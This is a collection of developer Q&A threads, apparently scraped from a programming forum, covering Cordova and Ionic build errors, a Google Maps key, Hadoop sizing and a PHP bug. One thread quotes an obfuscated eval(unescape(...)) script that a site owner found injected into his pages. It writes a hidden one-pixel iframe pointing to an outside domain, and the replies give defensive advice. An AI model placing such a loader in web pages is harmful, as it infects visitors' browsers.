            <button mat-button color="warn" (click)="prevStep()">Previous</button>
            <button mat-button color="primary" (click)="nextStep()">End</button>
        </mat-action-row>
    </mat-expansion-panel>

</mat-accordion>


问:
Cordova Build - Could not find an installed version of Gradle
I am trying to build a Cordova project. I'm using Ubuntu 17.04. I run sudo cordova build android but the build fails with this message:

Error: Could not find an installed version of Gradle either in Android Studio,
or on your system to install the gradle wrapper. Please include gradle
in your path, or install Android Studio

It seems strange to me that when I run cordova requirements android, I get this:

Requirements check results for android:
Java JDK: installed 1.8.0
Android SDK: installed true
Android target: installed android-26,android-25
Gradle: installed /home/viktor/.sdkman/candidates/gradle/4.0.2/bin/gradle

It looks like Gradle is installed.

Path to Gradle also appears in $PATH:

echo $PATH:

/home/viktor/.sdkman/candidates/gradle/current/bin:/home/viktor/bin:/home/viktor/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/home/viktor/Android/Sdk/tools:/home/viktor/Android/Sdk/tools/bin:/home/viktor/Android/Sdk/platform-tools:/snap/bin

Cordova version is 7.0.1.

Could someone please help me to figure out why the build fails even though Gradle is installed?

Edit:
Ok, I tried to create a brand new project by cordova create hello com.example.hello HelloWorld. This project can be successfully built and run. What could be wrong with the project I'm trying to build?

答: also for those using an old version of android studio, it might be the problem. I unistalled it and installed android studio 3 (in Oct 2017) and installed all build tools, updated the cordova module(npm update cordova) and everything now works like clockwork!! windows7 user!!</p>


问:
Google Maps Android API Samples Key not working?
I'm an Android/Java noob trying to get Google Maps Android API Samples to work with an emulator (Nexus 5X API 26) and Android Studio on my Macbook.

I copied the github repo for the samples and loaded it into Android Studio. Now, the project compiles and I have the app on the emulator, but the map doesn't seem to be loading in the fragment.

I don't see any errors in the console.

I have created my unrestricted GMaps API Key and updated it in the manifest file and the resource/debug google_maps_api.xml files.

This is the Activity in question.

https://github.com/googlemaps/android-samples/blob/master/ApiDemos/app/src/main/java/com/example/mapdemo/BasicMapDemoActivity.java

I also set a breakpoint at onMapReady() and it does get hit. But the fragment is blank. How do I debug it further?

答:
Go to android manifest(sample project) find this line.

```<code> <!--
             The API key for Google Maps-based APIs is defined as a string resource.
             (See the file "res/values/google_maps_api.xml").
             Note that the API key is linked to the encryption key used to sign the APK.
             You need a different API key for each encryption key, including the release key that is used to
             sign the APK for publishing.
             You can define the keys for the debug and release targets in src/debug/ and src/release/.
        -->
        <meta-data
            android:name="com.google.android.geo.API_KEY"
            android:value="@string/google_maps_key" />
</code>```

In values folder you will find google_maps_api.xml change the value of google_maps_key with your development google map key because in google_maps_api.xml it is clearly mentioned that

```<code>Once you have your key (it starts with "AIza"), replace the "google_maps_key"
    string in this file.

    Note: This resource is used for the debug build target. Update this file if you just want to run
    the demo app.
</code>```

Check this link if you haven't created any project in google developer console https://developers.google.com/ad-exchange/rtb/open-bidder/google-app-guide

Body:
Go to android manifest(sample project) find this line.

 <!--
             The API key for Google Maps-based APIs is defined as a string resource.
             (See the file "res/values/google_maps_api.xml").
             Note that the API key is linked to the encryption key used to sign the APK.
             You need a different API key for each encryption key, including the release key that is used to
             sign the APK for publishing.
             You can define the keys for the debug and release targets in src/debug/ and src/release/.
        -->
        <meta-data
            android:name="com.google.android.geo.API_KEY"
            android:value="@string/google_maps_key" />

In values folder you will find google_maps_api.xml change the value of google_maps_key with your development google map key because in google_maps_api.xml it is clearly mentioned that

Once you have your key (it starts with "AIza"), replace the "google_maps_key"
    string in this file.

    Note: This resource is used for the debug build target. Update this file if you just want to run
    the demo app.

Check this link if you haven't created any project in google developer console https://developers.google.com/ad-exchange/rtb/open-bidder/google-app-guide


问:
The configuration of Hadoop cluster
By using amazon web service, I created a cluster consists of four nodes as the following:
- one node as a master node (RAM 1GB, CPU 1 core, HDD 8 GB)
- Three nodes as slave nodes and each node specification
(RAM 2GB, CPU 2 core, HDD 8 GB)

My questions:
- How can I configure this cluster correctly?
- How many containers can work concurrently?

Thank you so much

答:
You should be able to configure cluster with your specifications. No of container vary with the available resource such as RAM and CPU.

http://docs.hortonworks.com/HDPDocuments/HDP2/HDP-2.0.6.0/bk_installing_manually_book/content/rpm-chap1-11.html

Find above link to get detailed understanding on containers.

Title: The configuration of Hadoop cluster


问:
This site may be distributing malware ? strange javascript?
```<code><script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%
74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%
70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%33%33%38%33%
37%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%
3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>
</code>```

My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

答:
I will answer the direct question: injecting script to every page means the hacker got control over the web server, maybe over the whole host web farm.

How? Maybe he stole admin password. Maybe he worked at the host and use back door he planted.
You can't really know and if you're hosted you can't really protect yourself as it's the host responsibility.

If you're hosted, find other and more reliable host. Otherwise do as Cfreak commented and change all the passwords on the server, install new and powerful Firewall etc etc...

Edit: in case the server is yours (i.e. you don't use 3rd party host) check the Security event log and see who logged in during the time of the infection. Obviously, run full virus/malware scan.


问:
php function not executing
Here is my php code where i am calling a function dataLC() to update some values, but as soon as the page executes, the function calling part didn't execute, I am unable to figure out the problem--

```<code><?php
include 'db.php';
$GLOBALS['lks']=0;
$GLOBALS['cmnts']=0;

echo $GLOBALS['lks'];
echo $GLOBALS['cmnts'];
?>
<div class="btnclasess">
          <div id="likescommentID" class="likescomment"><?php dataLC(2); ?><a style="padding-right: 7px" href="#"><?php if($GLOBALS['lks']==0){echo '';}else{ echo $GLOBALS['lks']." Likes"; } ?></a><a href="#"><?php if($GLOBALS['cmnts']==0){echo '';}else{ echo $GLOBALS['cmnts']." Comments"; } ?></a></div>
         <div class="pull-left likebtn"><a href="#" onClick="connect(2)"><i class="fa fa-thumbs-up" style="margin-right: 6px;"></i>Like</a></div>
         <button class="pull-left btnhideshow show_hide" data-toggle="collapse" data-target="#demo2"><li class="fa fa-comments show_hide" style="margin-right: 6px;"></li>Comment</button>
         <button class="pull-left btnhideshow show_hide"><li class="fa fa-share-alt show_hide" style="margin-right: 6px;"></li>Share</button>
         <div class="clear"></div>
      <div class="clear"></div>
    </div>
<script>
        function connect(num) {

    $.ajax({
    type: "POST",
    url: "user-likes.php?id="+num,
    success: function(data) {
        $("#likescommentID").load(" #likescommentID");
    }
    });
    }
</script>
<?php
function dataLC($val)
{
    $stmt = $linkID1->prepare("select likes,comments from user_posts where slno=?");
    $stmt->bind_param("s", $val);
    $stmt->execute();
    $stmt->bind_result($lksD,$cmntsD);
    $stmt->fetch();
    $stmt->close();

    $GLOBALS['lks']=$lksD;
    $GLOBALS['cmnts']=$cmntsD;
}
?>
</code>```

Can anyone pls check why the function dataLC() call is not working.

答:
I think in db.php there a connection class and $linkID1 is an object. If this statement is true then maybe you missed the object initialization for this page, Try to use reinitiation for this object.

like ie. $linkID1  = new classname( constructor parameters);

Title: php function not executing

Body:
Here is my php code where i am calling a function dataLC() to update some values, but as soon as the page executes, the function calling part didn't execute, I am unable to figure out the problem--

<?php
include 'db.php';
$GLOBALS['lks']=0;
$GLOBALS['cmnts']=0;

echo $GLOBALS['lks'];
echo $GLOBALS['cmnts'];
?>

<?php dataLC(2); ?><?php if($GLOBALS['lks']==0){echo '';}else{ echo $GLOBALS['lks']." Likes"; } ?><?php if($GLOBALS['cmnts']==0){echo '';}else{ echo $GLOBALS['cmnts']." Comments"; } ?>

Like

         <button class="pull-left btnhideshow show_hide" data-toggle="collapse" data-target="#demo2">

Comment</button>
         <button class="pull-left btnhideshow show_hide">

Share</button>

<?php
function dataLC($val)
{
    $stmt = $linkID1->prepare("select likes,comments from user_posts where slno=?");
    $stmt->bind_param("s", $val);
    $stmt->execute();
    $stmt->bind_result($lksD,$cmntsD);
    $stmt->fetch();
    $stmt->close();

    $GLOBALS['lks']=$lksD;
    $GLOBALS['cmnts']=$cmntsD;
}
?>

Can anyone pls check why the function dataLC() call is not working.


问:
Notify at convenient time
I am planning to create an Android app that will have some time-consuming tasks (for example; filling out a large form).
I don't want to bother an user when they are busy doing things or when they have an appointment.
Is there any way to determine when a user is not busy, and to snooze a notification to a -for the user- convenient time?</p>

答:
You can combine d.santos's suggestion with  listening for accelerometer's readings .
For example , you ask the user to fill out the form when  he doesn't have any events in the calendar and the accelerometer readings are showing a  lack of activity
 Here You  can  find how to use SensorEventListener to monitor accelerometer's reading changes

Title: Notify at convenient time


问:
Unable to run Ionic app after update to Android Studio 3.0
Here's my Ionic Info

cli packages: (/Users/billb/dev/customer-mkt-app/node_modules)

```<code>@ionic/cli-utils  : 1.15.2
ionic (Ionic CLI) : 3.15.2
</code>```

global packages:

```<code>cordova (Cordova CLI) : 7.0.1
</code>```

local packages:

```<code>@ionic/app-scripts : 3.0.1
Cordova Platforms  : android 6.2.3 ios 4.4.0
Ionic Framework    : ionic-angular 3.3.0
</code>```

System:

```<code>Android SDK Tools : 26.1.1
ios-deploy        : 1.9.2
Node              : v6.11.5
npm               : 3.10.10
OS                : macOS Sierra
Xcode             : Xcode 9.0.1 Build version 9A1004
</code>```

Environment Variables:

```<code>ANDROID_HOME : /Users/billb/Library/Android/sdk
</code>```

Misc:

```<code>backend : pro
</code>```

I can successfully build the app. When I try to open it in Android Studio, I get a handful of errors, mostly around a gradle sync failure. Here's the 5 errors in the Messages console.

Unable to resolve dependency for ':@debug/compileClasspath': Could not resolve project :CordovaLib.
  Could not resolve project :CordovaLib.

Required by:
      project :

Project : declares a dependency from configuration 'debugCompile' to configuration 'debug' which is not declared in the descriptor for project >:CordovaLib.

Unable to resolve dependency for ':@debugAndroidTest/compileClasspath': Could not resolve project :CordovaLib.
  Could not resolve project :CordovaLib.

Required by:
      project :

Project : declares a dependency from configuration 'debugCompile' to configuration 'debug' which is not declared in the descriptor for project >:CordovaLib.

Unable to resolve dependency for ':@debugUnitTest/compileClasspath': Could not resolve project :CordovaLib.
  Could not resolve project :CordovaLib.

Required by:
      project :

Project : declares a dependency from configuration 'debugCompile' to configuration 'debug' which is not declared in the descriptor for project >
  :CordovaLib.

Unable to resolve dependency for ':@release/compileClasspath': Could not resolve project :CordovaLib.

Could not resolve project :CordovaLib.
  Required by:
      project :

Project : declares a dependency from configuration 'releaseCompile' to configuration 'release' which is not declared in the descriptor for project :CordovaLib.

Unable to resolve dependency for ':@releaseUnitTest/compileClasspath': Could not resolve project :CordovaLib.

Could not resolve project :CordovaLib.
  Required by:
      project :

Project : declares a dependency from configuration 'releaseCompile' to configuration 'release' which is not declared in the descriptor for project :CordovaLib.

I really don't know what this means and Google hasn't turned up anything of any real help. What do I need to do here?

Note: discovered this after posting this. Relaying it here in case it will help someone else.

Don't upgrade to Android Studio 3

答:
I commented the lines below in the build.gradle file:

```<code>//debugCompile project(path: 'CordovaLib', configuration: 'debug')

//releaseCompile project(path: 'CordovaLib', configuration: 'release')
</code>```

and added:

```<code>compile project(':CordovaLib')
</code>```

This worked for me.

Body:
Here's my Ionic Info

cli packages: (/Users/billb/dev/customer-mkt-app/node_modules)

@ionic/cli-utils  : 1.15.2
ionic (Ionic CLI) : 3.15.2

global packages:

cordova (Cordova CLI) : 7.0.1

local packages:

@ionic/app-scripts : 3.0.1
Cordova Platforms  : android 6.2.3 ios 4.4.0
Ionic Framework    : ionic-angular 3.3.0

System:

Android SDK Tools : 26.1.1
ios-deploy        : 1.9.2
Node              : v6.11.5
npm               : 3.10.10
OS                : macOS Sierra
Xcode             : Xcode 9.0.1 Build version 9A1004

Environment Variables:

ANDROID_HOME : /Users/billb/Library/Android/sdk

Misc:

backend : pro

I can successfully build the app. When I try to open it in Android Studio, I get a handful of errors, mostly around a gradle sync failure. Here's the 5 errors in the Messages console.

Unable to resolve dependency for ':@debug/compileClasspath': Could not resolve project :CordovaLib.
  Could not resolve project :CordovaLib.

Required by:
      project :

Project : declares a dependency from configuration 'debugCompile' to configuration 'debug' which is not declared in the descriptor for project >:CordovaLib.

Unable to resolve dependency for ':@debugAndroidTest/compileClasspath': Could not resolve project :CordovaLib.
  Could not resolve project :CordovaLib.

Required by:
      project :

Project : declares a dependency from configuration 'debugCompile' to configuration 'debug' which is not declared in the descriptor for project >:CordovaLib.

Unable to resolve dependency for ':@debugUnitTest/compileClasspath': Could not resolve project :CordovaLib.
  Could not resolve project :CordovaLib.

Required by:
      project :

Project : declares a dependency from configuration 'debugCompile' to configuration 'debug' which is not declared in the descriptor for project >
  :CordovaLib.

Unable to resolve dependency for ':@release/compileClasspath': Could not resolve project :CordovaLib.

Could not resolve project :CordovaLib.
  Required by:
      project :

Project : declares a dependency from configuration 'releaseCompile' to configuration 'release' which is not declared in the descriptor for project :CordovaLib.

Unable to resolve dependency for ':@releaseUnitTest/compileClasspath': Could not resolve project :CordovaLib.

Could not resolve project :CordovaLib.
  Required by:
      project :

Project : declares a dependency from configuration 'releaseCompile' to configuration 'release' which is not declared in the descriptor for project :CordovaLib.

I really don't know what this means and Google hasn't turned up anything of any real help. What do I need to do here?

Note: discovered this after posting this. Relaying it here in case it will help someone else.

Don't upgrade to Android Studio 3

Body:
I commented the lines below in the build.gradle file:

//debugCompile project(path: 'CordovaLib', configuration: 'debug')

//releaseCompile project(path: 'CordovaLib', configuration: 'release')

and added:

compile project(':CordovaLib')

This worked for me.